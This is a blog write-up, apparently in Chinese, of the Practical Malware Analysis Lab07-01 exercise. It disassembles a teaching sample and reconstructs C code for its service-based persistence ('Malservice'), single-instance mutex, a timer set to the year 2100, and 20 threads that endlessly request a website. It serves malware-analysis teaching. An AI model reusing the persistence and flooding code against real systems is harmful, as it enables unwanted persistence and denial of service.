Malware Analysis Lab07_01 EXP

Malware Analysis Lab07_01 EXP

Practical Malware Analysis Lab07_01 Experiment log.

这个实验主要内容涉及Windows服务以及线程同步。

int __cdecl main()

首先看IDA对main()函数的反汇编结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near

ServiceStartTable[0]= SERVICE_TABLE_ENTRYA ptr -10h
ServiceStartTable[1].lpServiceName= dword ptr -8
ServiceStartTable[1].lpServiceProc= dword ptr -4
argc= dword ptr 4
argv= dword ptr 8
envp= dword ptr 0Ch

sub esp, 10h
lea eax, [esp+10h+ServiceStartTable[0]]
mov [esp+10h+ServiceStartTable[0].lpServiceName], offset aMalservice ; "MalService"
push eax ; lpServiceStartTable
mov [esp+14h+ServiceStartTable[0].lpServiceProc], offset _service_process
mov [esp+14h+ServiceStartTable[1].lpServiceName], 0
mov [esp+14h+ServiceStartTable[1].lpServiceProc], 0
call ds:StartServiceCtrlDispatcherA
push 0
push 0
call _service_process
add esp, 18h
retn
_main endp

这部分的代码比较简单,可以复现源码为:

1
2
3
4
5
6
7
8
9
10
int main(int argc, const char **argv, const char **envp)
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{ MalService, (LPSERVICE_MAIN_FUNCTION) _service_process },
{ NULL, NULL }
};
StartServiceCtrlDispatcher(DispatchTable);
return _service_process;
}

这里出现的API就是BOOL StartServiceCtrlDispatcher(),这个API接受一个以NULL作为结束的SERVICE_TABLE_ENTRYA数组,下面将会解释这个API的作用。

按照微软文档的说法,这个API会将服务进程的主线程与服务控制管理器(Service Control Manager, SCM)连接,这使得该线程成为服务进程的服务控制调度器线程(service control dispatcher thread)。

而这个调度器线程只有当输入参数所指定的所有服务都停止后才会返回,在此之前,将会进入循环以等待对调度表中指定的服务的传入控制请求。

如何所有在调度表中指定的服务都顺利退出,那么这个API将会返回true,否则将会返回false,并且可以使用GetLastError()以了解详细的错误信息。

int _service_process()

从IDA的反汇编结果来看,这个函数的开头先使用互斥量确保只有一个实例正在运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
push    offset Name     ; "HGL345"
push 0 ; bInheritHandle
push 1F0001h ; dwDesiredAccess
call ds:OpenMutexA
test eax, eax
jz short loc_401064
push 0 ; uExitCode
call ds:ExitProcess
loc_401064:
push esi
push offset Name ; "HGL345"
push 0 ; bInitialOwner
push 0 ; lpMutexAttributes
call ds:CreateMutexA

这段可以还原的源码为:

1
2
3
4
if(OpenMutex(MUTEX_ALL_ACCESS, 0, "HGL345"))
ExitProcess(0);
else
CreateMutex(NULL, False, "HGL345");

后面的代码就用创建服务。

随后,创建SCManager:

1
2
3
4
push    3               ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call ds:OpenSCManagerA

这里又出现了一个API SC_HANDLE OpenSCManager()这个API的作用是与指定计算机上的服务控制管理器(SCM)建立连接并打开指定的服务控制管理器数据库。换句话说,这个API的作用就是打开指定的SCM数据库。

下面的代码将会用于创建一个服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
call    ds:GetCurrentProcess
lea eax, [esp+404h+Filename]
push 3E8h ; nSize
push eax ; lpFilename
push 0 ; hModule
call ds:GetModuleFileNameA
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
lea ecx, [esp+414h+Filename]
push 0 ; lpLoadOrderGroup
push ecx ; lpBinaryPathName
push 0 ; dwErrorControl
push 2 ; dwStartType
push 10h ; dwServiceType
push 2 ; dwDesiredAccess
push offset DisplayName ; "Malservice"
push offset DisplayName ; "Malservice"
push esi ; hSCManager
call ds:CreateServiceA

这里的GetCurrentProcess()的作用是返回一个处理当前进程的一个伪句柄,但是这里调用这个函数并没有什么用。

在Windows环境下,想要知道当前进程的可执行文件的路径,可以使用DWORD GetModuleFileNameA([in, optional]HMODULE hModule, [out]LPSTR lpFilename, [in]DWORD nSize)函数,这个API的作用是检索包含指定模块的文件的完全限定路径,模块必须由当前进程加载。如果传入的指定模块为0,那么这个API将会返回当前进程对应的可执行文件的路径

所以执行完这个函数后,在(esp+404h)位置处的字符数组中将会存放当前进程对应可执行文件的路径。

然后就是创建一个服务,使用到的API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SC_HANDLE CreateServiceA(
[in] SC_HANDLE hSCManager,
[in] LPCSTR lpServiceName,
[in, optional] LPCSTR lpDisplayName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwServiceType,
[in] DWORD dwStartType,
[in] DWORD dwErrorControl,
[in, optional] LPCSTR lpBinaryPathName,
[in, optional] LPCSTR lpLoadOrderGroup,
[out, optional] LPDWORD lpdwTagId,
[in, optional] LPCSTR lpDependencies,
[in, optional] LPCSTR lpServiceStartName,
[in, optional] LPCSTR lpPassword
);

这个API的作用是创建一个服务对象,并且将其添加到有参数指定的SCM数据库中。这里用来指定SCM数据库的参数就是调用APISC_HANDLE OpenSCManager()所返回的句柄。

这里对这个API中一些比较重要的参数进行解释。首先是 DWORD dwStartType,这个参数将会指定被创建的服务的类型,这个参数有以下几种可选值:

Value Meaning
SERVICE_AUTO_START0x00000002 A service started automatically by the service control manager during system startup.
SERVICE_BOOT_START0x00000000 A device driver started by the system loader. This value is valid only for driver services.
SERVICE_DEMAND_START0x00000003 A service started by the service control manager when a process calls the StartService function.
SERVICE_DISABLED0x00000004 A service that cannot be started. Attempts to start the service result in the error code ERROR_SERVICE_DISABLED.
SERVICE_SYSTEM_START0x00000001 A device driver started by the IoInitSystem function. This value is valid only for driver services.

另一个重要参数是 LPCSTR lpBinaryPathName,这个参数用以指定服务进程对应的二进制文件的完整限定路径,并且也可以通过这个路径向自启动服务传递参数。比如"d:\myshare\myservice.exe arg1 arg2",这些参数将会被传递到服务的入口点,通常就是main()函数。

如果这个路径中包含空格,那么需要对于这个进行引用,才能够正确解释,比如"d:\my share\myservice.exe" 应该指定为 ““d:\my share\myservice.exe””。

所以可以上面的汇编代码完整还原为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SC_HANDLE schSCManager;
SC_HANDLE schService;
TCHAR szPath[0x3e8];

schSCManager = OpenSCManager(
NULL, // local computer
NULL, // ServicesActive database
SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);

GetModuleFileName(NULL, szPath, 0x3e8);

schService = CreateService(
schSCManager, // SCM database
"Malservice", // name of service
"Malservice", // service name to display
SC_MANAGER_CREATE_SERVICE, // desired access
SERVICE_WIN32_OWN_PROCESS, // service type
SERVICE_AUTO_START, // start type
SERVICE_ERROR_IGNORE, // error control type
szPath, // path to service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password

这里创建的服务类型为SERVICE_WIN32_OWN_PROCESS类型,这种类型的服务将会在.exe文件中保存代码,并且作为一个独立进程运行。

另外还有一种SERVICE_WIN32_SHARED_PROCESS类型的服务,这种类型的服务将会在.dll文件中保存代码,并且可以在一个共享的进程中组合多个不同的服务。

还有一种在恶意代码中会见到的服务类型是KERNEL_DRIVER,这种类型的服务将会加载代码到内核中执行。

后面的代码与Windows中的可等待计时器对象(Waitable Timer Object )相关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
xor     edx, edx
lea eax, [esp+404h+FileTime]
mov dword ptr [esp+404h+SystemTime.wYear], edx
lea ecx, [esp+404h+SystemTime]
mov dword ptr [esp+404h+SystemTime.wDayOfWeek], edx
push eax ; lpFileTime
mov dword ptr [esp+408h+SystemTime.wHour], edx
push ecx ; lpSystemTime
mov dword ptr [esp+40Ch+SystemTime.wSecond], edx
mov [esp+40Ch+SystemTime.wYear], 834h
call ds:SystemTimeToFileTime
push 0 ; lpTimerName
push 0 ; bManualReset
push 0 ; lpTimerAttributes
call ds:CreateWaitableTimerA
push 0 ; fResume
push 0 ; lpArgToCompletionRoutine
push 0 ; pfnCompletionRoutine
lea edx, [esp+410h+FileTime]
mov esi, eax
push 0 ; lPeriod
push edx ; lpDueTime
push esi ; hTimer
call ds:SetWaitableTimer
push 0FFFFFFFFh ; dwMilliseconds(-1, INFINITE)
push esi ; hHandle
call ds:WaitForSingleObject
test eax, eax
jnz short loc_40113B

这里面先调用了一个BOOL SystemTimeToFileTime()将系统时间(based on Coordinated Universal Time, UTC)转换为文件时间。

然后创建一个可等待计时器对象,并且设置这个可等待计时器对象并等待这个对象触发。

这里需要介绍一下设置计时器对象的时间格式,可以分为相对时间和绝对时间,如果传入的参数是负数,那么就意味着这个计时器等待的时间是一个相对时间,将会在由这个参数指定的时间延迟,纳秒为单位,后发送信号;如果传入的参数是FILETIME结构的数据,那么就意味着这个计时器等待的时间是一个绝对时间,只有当系统时间到达这个绝对时间后才会发送信号

可等待计时器对象:

线程使用 CreateWaitableTimer()CreateWaitableTimerEx() 函数创建计时器对象。 创建线程指定计时器是手动重置计时器还是同步计时器。 创建线程可以为定时器对象指定一个名称。 其他进程中的线程可以通过在对 OpenWaitableTimer() 函数的调用中指定其名称来打开现有计时器的句柄。 任何具有计时器对象句柄的线程都可以使用其中一个等待函数来等待计时器状态设置为已发出信号。

当然这里直接使用微软文档中的示例进行介绍会更加直观。

下面的代码将会创建一个可等待计时器对象,这个对象将会在10秒延迟后发送信号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hTimer = NULL;
LARGE_INTEGER liDueTime;

liDueTime.QuadPart = -100000000LL;

// Create an unnamed waitable timer.
hTimer = CreateWaitableTimer(NULL, TRUE, NULL);
if (NULL == hTimer)
{
printf("CreateWaitableTimer failed (%d)\n", GetLastError());
return 1;
}

printf("Waiting for 10 seconds...\n");

// Set a timer to wait for 10 seconds.
if (!SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, 0))
{
printf("SetWaitableTimer failed (%d)\n", GetLastError());
return 2;
}

// Wait for the timer.

if (WaitForSingleObject(hTimer, INFINITE) != WAIT_OBJECT_0)
printf("WaitForSingleObject failed (%d)\n", GetLastError());
else printf("Timer was signaled.\n");

return 0;
}

上面的例子中使用BOOL RegisterWaitForSingleObject()接口来判断这个计时器在什么时候发送信号的。(这个API似乎已经过时了)

在这段代码中使用BOOL WaitForSingleObject()接口来判断计时器是否被触发。这个API的作用就是等待这个计时器对象,直到这个计时器对象发送信号或者设定的等待超时。如果参数是INFINITE(-1),那么这个函数将会在计时器发送信号后才会返回。

这段代码可以还原为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FILETIME ftFiletime;
SYSTEMTIME stSystime;
Handle hTimer;

stSystime.wYear = 0;
stSystime.wDayOfWeek = 0;
stSystime.wHour = 0;
stSystime.wSecond = 0;
stSystime.wYear = 2100;
SystemTimeToFileTime(&stSystime, &ftFiletime);
hTimer = CreateWaitableTimer(NULL, FALSE, NULL);
SetWaitableTimer(hTimer, &ftFiletime, 0, NULL, NULL, 0);
if(WaitForSingleObject(hTimer, INFINITE) != WAIT_OBJECT_0)
{
/* WaitForSingleObject failed */
Sleep(INFINITE); /* -1, Suspend the thread. */
}
else
{
int i = 20;
while(i--)
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, 0, 0, 0);
}
return 0;

这段代码的作用就是创建一个可等待计时器对象,并将这个计时器对象的时间设置为绝对时间2100年,在计时器发送信号前会将当前线程挂起。

后面的代码就是当前线程成功等待计时器发送信号后的行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
push    edi
mov edi, ds:CreateThread
mov esi, 14h

loc_401126:
push 0 ; lpThreadId
push 0 ; dwCreationFlags
push 0 ; lpParameter
push offset StartAddress ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call edi ; CreateThread
dec esi
jnz short loc_401126
pop edi

这段代码是一个循环结构,在循环结构体中创建线程,这部分的代码已经在上面的还原了。也就是创建20个立即执行的线程,线程执行的函数由lpStartAddress指定。

线程所执行的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
push    esi
push edi
push 0 ; dwFlags
push 0 ; lpszProxyBypass
push 0 ; lpszProxy
push 1 ; dwAccessType
push offset szAgent ; "Internet Explorer 8.0"
call ds:InternetOpenA
mov edi, ds:InternetOpenUrlA
mov esi, eax
loc_40116D:
push 0 ; dwContext
push 80000000h ; dwFlags
push 0 ; dwHeadersLength
push 0 ; lpszHeaders
push offset szUrl ; "http://www.malwareanalysisbook.com"
push esi ; hInternet
call edi ; InternetOpenUrlA
jmp short loc_40116D

这段代码的作用就是先初始化一个到互联网的连接,然后进入死循环,不停打开URL"http://www.malwareanalysisbook.com"。


Malware Analysis Lab07_01 EXP
https://2hyan9.github.io/2023/03/01/Malware-Analysis-Lab07-01-EXP/
作者
2hYan9
发布于
2023年3月1日
许可协议